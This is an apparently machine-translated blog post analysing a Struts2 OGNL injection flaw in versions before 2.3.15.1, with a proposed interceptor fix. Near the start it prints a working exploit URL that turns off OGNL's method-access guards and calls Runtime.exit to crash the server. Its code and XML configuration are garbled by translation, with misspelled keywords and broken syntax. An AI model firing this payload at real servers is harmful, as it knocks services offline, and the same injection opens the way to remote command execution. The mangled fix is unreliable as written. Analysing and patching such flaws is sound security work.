Struts2 vulnerability analysis: vulnerability affects all versions

Struts Vulnerability Analysis

The Apache Struts team has released Struts 2.3.15.1 Security Update. There was a serious security vulnerability before Struts2.3.15.1. If some of the large websites currently use JAVA and do not upgrade the version, they still use versions earlier than Strtus2.3.15.1, you must be careful when the server is hacked. Next, let's take a look at how the Struts2 vulnerability was created in previous versions. Let's do it ourselves and how to solve this security vulnerability:

I heard someone say, "What is this vulnerability?" I want to say: "You can crash another server in your browser, so that it stops working, can this be a high-risk vulnerability ".

1. I use struts_2.1.8.1. If you use the latest security version, this security issue will not occur. Enter the following address in the browser:

Http://www.xxxx.com/xxx.action? ('\ U0023_memberAccess [\ 'allowstaticmethodaccess \'] ') (meh) = true & (aaa) (' \ u0023context [\ 'xwork. methodAccessor. denyMethodExecution \ '] \ u003d \ u0023foo') (\ u0023foo \ u003dnew % 20java. lang. boolean ("false") & (asdf) ('\ u0023rt. exit (1) ') (\ u0023rt \ u003d@java.lang.Runtime @ getRuntime () = 1

After the input, the server will crash. Http://www.xxxx.com/xxx.actionthis is not to be said, you do not have to worry about it.

[Note: \ u0023 in the url actually represents #, % 20 actually represents space, and \ u003 actually represents equal]

2. The cause of the vulnerability is as follows:

The address above will be translated by the browser:

? ('# _ MemberAccess ['allowstaticmethodaccess']') (meh) = true & (aaa) ('# context [' xwork. methodAccessor. denyMethodExecution '] = # foo') (# foo = new % 20java. lang. boolean ("false") & (asdf) ('# rt. exit (1) ') (# rt = @ java. lang. runtime @ getRuntime () = 1

After the url is submitted, an interceptor named ParameterInterceptor is passed. There is such a line of source code:

Try {
NewStack. setValue (name, value );
}

Use stack. setValue ("name", "aaa"); to change the value of the name attribute to the aaa string. In the preceding url, there are two crucial values:

In the map Stack ::

_ MemberAccess is an attribute in OgnlContext, which is a permission class SecurityMemberAccess. The permission class has a method allowStaticMethodAccess: whether to allow access to static methods. Use the url above to set the attribute value to true (default value: false ),

Context ['xwork. methodAccessor. denyMethodExecution '] If the value is false, Ognl can execute a custom variable. One of the values in the map stack is a boolean value and is set to true, the ognl expression can call static methods.

(Asdf) ('# rt. exit (1) ') (# rt = @ java. lang. runtime @ getRuntime () = 1 is a shellcoade. The ognl expression executes the static method, so that the commands in java are called. When the execution (asdf) ('\ u0023rt. exit (1) ') (\ u0023rt \ u003d@java.lang.Runtime @ getRuntime () = 1 this code is equivalent to java. lang. runtime. getRuntime (). exit (1); after the execution is completed, the entire program is stopped.

3. Why is this vulnerability?

Struts2 provides valueStack for storing data

Struts2 provides an ognl expression for data access.

Ognl expressions can not only access the value in valueStack, but also change the value in valueStack and call valueStack. setValue

Ognl expressions can also execute static methods and embed some shellcoade code.

4. How can we solve this problem?

Make a custom interceptor and use the Interceptor to filter URLs and contain the \ u0023 string, so that it will not be able to perform subsequent operations. The custom interceptor must be executed before ParameterInterceptor is executed.

@ Override
Public String intercept (ActionInvocation invocation) throws Exception (){
String s = ServletActionContext. getRequest (). getQueryString ();
If (s. contains ("\ u0023 ")){
Return "error ";
} Else {
Return invocation. invole ();
}
}

Configure it in the struts configuration file, just like this:

<Interceptors>
<Interceptor name = "definitionInterceptor" calss = "... definitionInterceptor"> </interceptor>
<Intercpeotr-stack name = "myStack">
<Interceptor-ref name = "definitionInterceptor"> </interceptor-ref>
<Interceptor-ref name = "defaultStackr"> </interceptor-ref>
</Interceptor-stack>
</Interceptors>
<Default-interceptor-ref name = "myStack"> </default-interceptor-ref>

If you have any questions, you can leave me a message.

Apache Struts remote command execution vulnerability with multiple prefix parameters (CVE-2013-2251)

Apache Struts multiple open redirection vulnerabilities (CVE-2013-2248)

Struts2 Remote Code Execution (S2-016) exploitation tool

Struts2 vulnerability explanation: attackers attack and defense